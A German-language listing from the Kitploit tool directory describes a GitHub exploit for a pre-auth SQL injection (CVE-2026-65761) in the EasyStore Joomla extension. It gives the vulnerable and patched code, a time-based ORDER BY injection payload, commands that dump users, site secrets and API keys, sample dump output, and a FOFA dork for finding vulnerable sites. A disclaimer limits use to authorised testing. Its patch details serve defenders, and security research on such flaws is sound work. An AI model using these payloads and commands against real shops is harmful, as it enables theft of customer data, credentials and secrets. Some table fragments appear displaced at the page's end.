Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-65761 — EasyStore Joomla Pre-Auth SQL-Injection über filter_sortby Direction (CVE-2026-65761, CVSS 9.3) | Kitploit
Tools/GitHubGitHub/shinthink/cve-2026-65761
SchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstests
GitHubshinthink/cve-2026-65761

CVE-2026-65761

EasyStore Joomla Pre-Auth SQL-Injection über filter_sortby Direction (CVE-2026-65761, CVSS 9.3)

Repository anzeigen
vor 26 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-65761 — EasyStore Joomla SQL-Injection ohne Authentifizierung

filter_sortby-Richtung → ORDER-BY-Injection → vollständiges Auslesen der Datenbank


Übersicht

CVE-2026-65761 (CVSS 9.3 kritisch) ist eine SQL-Injection ohne Authentifizierung in EasyStore für Joomla von JoomShaper, die Versionen ≤ 2.0.1 betrifft.

Der filter_sortby-Parameter der Produktliste wird in eine Spalte und eine Richtung aufgeteilt. Während die Spalte gegen eine Positivliste validiert wird, wird die Richtung direkt in die SQL-ORDER BY-Klausel eingefügt – ohne ASC/DESC-Einschränkung – was einem anonymen Besucher eine beliebige SQL-Injection ermöglicht.

Ein nicht authentifizierter Angreifer kann die gesamte Joomla-Datenbank auslesen: Benutzerkonten, Passwort-Hashes, Sitzungsdaten, Site-Geheimnisse, API-Schlüssel und alle personenbezogenen Kundendaten (Namen, E-Mails, Adressen, Telefonnummern, Kaufhistorie).


Schwachstellenmechanismus

Grundursache

FilterHelper.php:741 gibt die Sortierrichtung ohne eine ASC/DESC-Positivlisten-Prüfung zurück:

root@kitploit:~
// Vulnerable (EasyStore 2.0.1)
// FilterHelper.php:741
return [$orderArray[0], strtoupper($orderArray[1])];
//                      ^^^^^^^^^ No validation — raw value after uppercase

ProductsModel.php:932 fügt die Richtung direkt in SQL ein:

root@kitploit:~
// ProductsModel.php:932
$query->order($column . ' ' . $direction);
//                        ^^^^^^^^^ Raw SQL concatenation

Die zugehörigen Marken- und Kollektionslisten verfügten über ordnungsgemäße Positivlisten für die Richtung. Die Produktliste nicht.

Patch (EasyStore 2.0.2)

root@kitploit:~
// Fixed — FilterHelper.php:741-742
$direction = strtoupper($orderArray[1]);
return [$orderArray[0], in_array($direction, ['ASC', 'DESC']) ? $direction : 'ASC'];
//                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Allow-list check

// Fixed — ProductsModel.php:918-920 (second validation added)
if (!in_array(strtoupper($direction), ['ASC', 'DESC'])) {
    $direction = 'DESC';
}

Angriffsablauf

root@kitploit:~
1. Attacker crafts: filter_sortby=price-ASC,(SELECT SLEEP(5))
   └─ splits to: column=price, direction=ASC,(SELECT SLEEP(5))

2. Column "price" passes allow-list check ✅
   └─ ['ordering','featured','best_selling','title','price','created']

3. Direction "ASC,(SELECT SLEEP(5))" passes strtoupper()
   └─ No ASC/DESC validation in vulnerable version

4. SQL constructed:
   ORDER BY min_price ASC,(SELECT SLEEP(5))
   └─ Time-based confirmation: 5 second delay

5. Attacker extracts full database via blind SQLi

Voraussetzungen

AnforderungDetails
EasyStore ≤ 2.0.1Verwundbare Version installiert
Produktliste erreichbarindex.php?option=com_easystore&view=products
Keine AuthentifizierungFunktioniert anonym
MySQL/MariaDBZeitbasierte Extraktion über SLEEP()

Installation

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-65761.git
cd CVE-2026-65761
# No dependencies required — Python stdlib only

Verwendung

root@kitploit:~
# Check vulnerability (non-destructive)
python3 cve_2026_65761.py --url https://target.com --check

# Dump Joomla users (usernames, emails, names)
python3 cve_2026_65761.py --url https://target.com --dump-users

# Full dump (users + site secret + EasyStore config + API keys)
python3 cve_2026_65761.py --url https://target.com --dump-joomla

Ausgabe

root@kitploit:~
+=================================================================+
|  CVE-2026-65761 — EasyStore Joomla Pre-Auth SQLi Exploit        |
+=================================================================+
  Target :  https://shop.target.com
  Plugin :  EasyStore ≤ 2.0.1 | Payload: filter_sortby=col-ASC,INJECTION

[STEP 1] Verifying SQL injection (time-based)
  [*] SLEEP(5) delay: 5.2s
  [+] SQLi confirmed (5.2s)

[STEP 2] Database fingerprint
    [Version] 10.11.14-MariaDB
    [Database] joomla_db
    [User]    joomla_user@localhost
    [Prefix]  jos_
  [+] Version : 10.11.14-MariaDB
  [+] Database: joomla_db
  [+] User    : joomla_user@localhost
  [+] Prefix  : jos_

[STEP 3] Dumping users
  [+] Users: 15

  USERNAME                  EMAIL                               NAME
  ─────────────────────     ───────────────────────────────     ──────────
  admin                     [email protected]                      Super User
  manager                   [email protected]                    Store Manager

[STEP 4] Dumping sensitive configuration
    [Secret] abc123def456...
    [EasyStore] {"paypal_email":"[email protected]"...
  [+] Secret: abc123def456...
  [+] EasyStore: {"paypal_email":"[email protected]"...
  [+]   paypal_email: [email protected]

Requests: 1847

Technische Details

Verwundbarer Codepfad

DateiZeileProblem
site/src/Helper/FilterHelper.php741Gibt Richtung ohne Positivliste zurück – nur

Injektionsparameter

root@kitploit:~
filter_sortby = <column>-<direction>

Valid columns (allow-list passes):
  ordering, featured, best_selling, title, price, created

Direction (no validation):
  Injected directly after strtoupper()
  → ASC,(SELECT SLEEP(5))
  → ASC,(SELECT IF((condition),SLEEP(2),0))

Weitere Schwachstellen in EasyStore 2.0.1

CVETypCVSS
CVE-2026-65759Bestellfälschung / Zahlungsmanipulation8.7
CVE-2026-65760Rechnungs-IDOR (Offenlegung kundenübergreifender Daten)9.2
CVE-2026-65761SQL-Injection (dieser Exploit)9.3

FOFA Dork

root@kitploit:~
body="com_easystore" && body="filter_sortby"

Referenzen

  • mySites.guru — ursprüngliche Offenlegung
  • JoomShaper — EasyStore Free
  • VulDB — CVE-2026-65761

Haftungsausschluss

Nur für autorisierte Sicherheitstests und Bildungszwecke. Die Autoren übernehmen keinerlei Haftung für Missbrauch.

Tool herunterladen
CVECVE-2026-65761
CVSS9.3 Kritisch
BetroffenEasyStore ≤ 2.0.1
BehobenEasyStore 2.0.2
TypSQL-Injection (CWE-89)
AuthentifizierungKeine erforderlich
EntdecktPhil Taylor (mySites.guru) — Juli 2026
strtoupper()
site/src/Model/ProductsModel.php932Fügt $direction direkt in die ORDER BY-Klausel ein